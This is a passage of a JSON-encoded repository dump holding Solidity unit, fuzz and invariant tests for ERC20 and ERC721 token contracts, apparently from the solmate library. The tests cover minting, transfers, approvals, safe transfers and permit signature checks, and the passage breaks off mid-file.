assertEq(token.allowance(address(from), address(this)), 0);\n\n        assertEq(token.balanceOf(address(from)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testInfiniteApproveTransferFrom() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n\n        from.approve(address(this), type(uint256).max);\n\n        assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.allowance(address(from), address(this)), type(uint256).max);\n\n        assertEq(token.balanceOf(address(from)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testPermit() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n\n        assertEq(token.allowance(owner, address(0xCAFE)), 1e18);\n        assertEq(token.nonces(owner), 1);\n    }\n\n    function testFailTransferInsufficientBalance() public {\n        token.mint(address(this), 0.9e18);\n        token.transfer(address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromInsufficientAllowance() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n        from.approve(address(this), 0.9e18);\n        token.transferFrom(address(from), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromInsufficientBalance() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 0.9e18);\n        from.approve(address(this), 1e18);\n        token.transferFrom(address(from), address(0xBEEF), 1e18);\n    }\n\n    function testFailPermitBadNonce() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 1, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n    }\n\n    function testFailPermitBadDeadline() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);\n    }\n\n    function testFailPermitPastDeadline() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp - 1))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp - 1, v, r, s);\n    }\n\n    function testFailPermitReplay() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n    }\n\n    function testMetaData(\n        string calldata name,\n        string calldata symbol,\n        uint8 decimals\n    ) public {\n        MockERC20 tkn = new MockERC20(name, symbol, decimals);\n        assertEq(tkn.name(), name);\n        assertEq(tkn.symbol(), symbol);\n        assertEq(tkn.decimals(), decimals);\n    }\n\n    function testMint(address from, uint256 amount) public {\n        token.mint(from, amount);\n\n        assertEq(token.totalSupply(), amount);\n        assertEq(token.balanceOf(from), amount);\n    }\n\n    function testBurn(\n        address from,\n        uint256 mintAmount,\n        uint256 burnAmount\n    ) public {\n        burnAmount = bound(burnAmount, 0, mintAmount);\n\n        token.mint(from, mintAmount);\n        token.burn(from, burnAmount);\n\n        assertEq(token.totalSupply(), mintAmount - burnAmount);\n        assertEq(token.balanceOf(from), mintAmount - burnAmount);\n    }\n\n    function testApprove(address to, uint256 amount) public {\n        assertTrue(token.approve(to, amount));\n\n        assertEq(token.allowance(address(this), to), amount);\n    }\n\n    function testTransfer(address from, uint256 amount) public {\n        token.mint(address(this), amount);\n\n        assertTrue(token.transfer(from, amount));\n        assertEq(token.totalSupply(), amount);\n\n        if (address(this) == from) {\n            assertEq(token.balanceOf(address(this)), amount);\n        } else {\n            assertEq(token.balanceOf(address(this)), 0);\n            assertEq(token.balanceOf(from), amount);\n        }\n    }\n\n    function testTransferFrom(\n        address to,\n        uint256 approval,\n        uint256 amount\n    ) public {\n        amount = bound(amount, 0, approval);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), amount);\n\n        from.approve(address(this), approval);\n\n        assertTrue(token.transferFrom(address(from), to, amount));\n        assertEq(token.totalSupply(), amount);\n\n        uint256 app = address(from) == address(this) || approval == type(uint256).max ? approval : approval - amount;\n        assertEq(token.allowance(address(from), address(this)), app);\n\n        if (address(from) == to) {\n            assertEq(token.balanceOf(address(from)), amount);\n        } else {\n            assertEq(token.balanceOf(address(from)), 0);\n            assertEq(token.balanceOf(to), amount);\n        }\n    }\n\n    function testPermit(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n\n        assertEq(token.allowance(owner, to), amount);\n        assertEq(token.nonces(owner), 1);\n    }\n\n    function testFailBurnInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 burnAmount\n    ) public {\n        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(to, mintAmount);\n        token.burn(to, burnAmount);\n    }\n\n    function testFailTransferInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 sendAmount\n    ) public {\n        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(this), mintAmount);\n        token.transfer(to, sendAmount);\n    }\n\n    function testFailTransferFromInsufficientAllowance(\n        address to,\n        uint256 approval,\n        uint256 amount\n    ) public {\n        amount = bound(amount, approval + 1, type(uint256).max);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), amount);\n        from.approve(address(this), approval);\n        token.transferFrom(address(from), to, amount);\n    }\n\n    function testFailTransferFromInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 sendAmount\n    ) public {\n        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), mintAmount);\n        from.approve(address(this), sendAmount);\n        token.transferFrom(address(from), to, sendAmount);\n    }\n\n    function testFailPermitBadNonce(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline,\n        uint256 nonce\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n        if (nonce == 0) nonce = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, nonce, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n\n    function testFailPermitBadDeadline(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline + 1, v, r, s);\n    }\n\n    function testFailPermitPastDeadline(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        deadline = bound(deadline, 0, block.timestamp - 1);\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n\n    function testFailPermitReplay(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n}\n\ncontract ERC20Invariants is DSTestPlus, DSInvariantTest {\n    BalanceSum balanceSum;\n    MockERC20 token;\n\n    function setUp() public {\n        token = new MockERC20(\"Token\", \"TKN\", 18);\n        balanceSum = new BalanceSum(token);\n\n        addTargetContract(address(balanceSum));\n    }\n\n    function invariantBalanceSum() public {\n        assertEq(token.totalSupply(), balanceSum.sum());\n    }\n}\n\ncontract BalanceSum {\n    MockERC20 token;\n    uint256 public sum;\n\n    constructor(MockERC20 _token) {\n        token = _token;\n    }\n\n    function mint(address from, uint256 amount) public {\n        token.mint(from, amount);\n        sum += amount;\n    }\n\n    function burn(address from, uint256 amount) public {\n        token.burn(from, amount);\n        sum -= amount;\n    }\n\n    function approve(address to, uint256 amount) public {\n        token.approve(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        token.transferFrom(from, to, amount);\n    }\n\n    function transfer(address to, uint256 amount) public {\n        token.transfer(to, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ERC721.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC721} from \"./utils/mocks/MockERC721.sol\";\nimport {ERC721User} from \"./utils/users/ERC721User.sol\";\n\nimport {ERC721TokenReceiver} from \"../tokens/ERC721.sol\";\n\ncontract ERC721Recipient is ERC721TokenReceiver {\n    address public operator;\n    address public from;\n    uint256 public id;\n    bytes public data;\n\n    function onERC721Received(\n        address _operator,\n        address _from,\n        uint256 _id,\n        bytes calldata _data\n    ) public virtual override returns (bytes4) {\n        operator = _operator;\n        from = _from;\n        id = _id;\n        data = _data;\n\n        return ERC721TokenReceiver.onERC721Received.selector;\n    }\n}\n\ncontract RevertingERC721Recipient is ERC721TokenReceiver {\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC721TokenReceiver.onERC721Received.selector)));\n    }\n}\n\ncontract WrongReturnDataERC721Recipient is ERC721TokenReceiver {\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n}\n\ncontract NonERC721Recipient {}\n\ncontract ERC721Test is DSTestPlus {\n    MockERC721 token;\n\n    function setUp() public {\n        token = new MockERC721(\"Token\", \"TKN\");\n    }\n\n    function invariantMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n    }\n\n    function testMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n    }\n\n    function testMint() public {\n        token.mint(address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1337);\n        token.burn(1337);\n\n        assertEq(token.totalSupply(), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 0);\n        assertEq(token.ownerOf(1337), address(0));\n    }\n\n    function testApprove() public {\n        token.mint(address(this), 1337);\n\n        token.approve(address(0xBEEF), 1337);\n\n        assertEq(token.getApproved(1337), address(0xBEEF));\n    }\n\n    function testApproveAll() public {\n        token.setApprovalForAll(address(0xBEEF), true);\n\n        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));\n    }\n\n    function testTransferFrom() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.approve(address(this), 1337);\n\n        token.transferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testTransferFromSelf() public {\n        token.mint(address(this), 1337);\n\n        token.transferFrom(address(this), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(this)), 0);\n    }\n\n    function testTransferFromApproveAll() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.transferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToEOA() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToERC721Recipient() public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), 1337);\n        assertBytesEq(recipient.data(), \"\");\n    }\n\n    function testSafeTransferFromToERC721RecipientWithData() public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), 1337, \"testing 123\");\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), 1337);\n        assertBytesEq(recipient.data(), \"testing 123\");\n    }\n\n    function testSafeMintToEOA() public {\n        token.safeMint(address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(1337), address(address(0xBEEF)));\n        assertEq(token.balanceOf(address(address(0xBEEF))), 1);\n    }\n\n    function testSafeMintToERC721Recipient() public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(1337), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.data(), \"\");\n    }\n\n    function testSafeMintToERC721RecipientWithData() public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), 1337, \"testing 123\");\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(1337), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.data(), \"testing 123\");\n    }\n\n    function testFailMintToZero() public {\n        token.mint(address(0), 1337);\n    }\n\n    function testFailDoubleMint() public {\n        token.mint(address(0xBEEF), 1337);\n        token.mint(address(0xBEEF), 1337);\n    }\n\n    function testFailBurnUnMinted() public {\n        token.burn(1337);\n    }\n\n    function testFailDoubleBurn() public {\n        token.mint(address(0xBEEF), 1337);\n\n        token.burn(1337);\n        token.burn(1337);\n    }\n\n    function testFailApproveUnMinted() public {\n        token.approve(address(0xBEEF), 1337);\n    }\n\n    function testFailApproveUnAuthorized() public {\n        token.mint(address(0xCAFE), 1337);\n\n        token.approve(address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromUnOwned() public {\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromWrongFrom() public {\n        token.mint(address(0xCAFE), 1337);\n\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromToZero() public {\n        token.mint(address(this), 1337);\n\n        token.transferFrom(address(this), address(0), 1337);\n    }\n\n    function testFailTransferFromNotOwner() public {\n        token.mint(address(0xFEED), 1337);\n\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailSafeTransferFromToNonERC721Recipient() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToNonERC721RecipientWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeTransferFromToRevertingERC721Recipient() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToNonERC721Recipient() public {\n        token.safeMint(address(new NonERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToNonERC721RecipientWithData() public {\n        token.safeMint(address(new NonERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToRevertingERC721Recipient() public {\n        token.safeMint(address(new RevertingERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToRevertingERC721RecipientWithData() public {\n        token.safeMint(address(new RevertingERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnData() public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testMetadata(string memory name, string memory symbol) public {\n        MockERC721 tkn = new MockERC721(name, symbol);\n\n        assertEq(tkn.name(), name);\n        assertEq(tkn.symbol(), symbol);\n    }\n\n    function testMint(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.ownerOf(id), to);\n    }\n\n    function testBurn(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n        token.burn(id);\n\n        assertEq(token.totalSupply(), 0);\n        assertEq(token.balanceOf(to), 0);\n        assertEq(token.ownerOf(id), address(0));\n    }\n\n    function testApprove(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(address(this), id);\n\n        token.approve(to, id);\n\n        assertEq(token.getApproved(id), to);\n    }\n\n    function testApproveAll(address to, bool approved) public {\n        token.setApprovalForAll(to, approved);\n\n        assertBoolEq(token.isApprovedForAll(address(this), to), approved);\n    }\n\n    function testTransferFrom(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.approve(address(this), id);\n\n        token.transferFrom(address(from), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testTransferFromSelf(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(address(this), id);\n\n        token.transferFrom(address(this), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(this)), 0);\n    }\n\n    function testTransferFromApproveAll(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.transferFrom(address(from), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToEOA(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToERC721Recipient(uint256 id) public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), id);\n        assertBytesEq(recipient.data(), \"\");\n    }\n\n    function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), id, data);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), id);\n        assertBytesEq(recipient.data(), data);\n    }\n\n    function testSafeMintToEOA(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        token.safeMint(to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n    }\n\n    function testSafeMintToERC721Recipient(uint256 id) public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.data(), \"\");\n    }\n\n    function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), id, data);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.data(), data);\n    }\n\n    function testFailMintToZero(uint256 id) public {\n        token.mint(address(0), id);\n    }\n\n    function testFailDoubleMint(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n        token.mint(to, id);\n    }\n\n    function testFailBurnUnMinted(uint256 id) public {\n        token.burn(id);\n    }\n\n    function testFailDoubleBurn(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n\n        token.burn(id);\n        token.burn(id);\n    }\n\n    function testFailApproveUnMinted(uint256 id, address to) public {\n        token.approve(to, id);\n    }\n\n    function testFailApproveUnAuthorized(\n        address owner,\n        uint256 id,\n        address to\n    ) public {\n        if (owner == address(0)) to = address(0xBEEF);\n        if (owner == address(this)) return;\n\n        token.mint(owner, id);\n\n        token.approve(to, id);\n    }\n\n    function testFailTransferFromUnOwned(\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailTransferFromWrongFrom(\n        address owner,\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        if (owner == address(0)) to = address(0xBEEF);\n        if (from == owner) revert();\n\n        token.mint(owner, id);\n\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailTransferFromToZero(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.transferFrom(address(this), address(0), id);\n    }\n\n    function testFailTransferFromNotOwner(\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        if (from == address(0)) to = address(0xBEEF);\n\n        token.mint(from, id);\n\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new 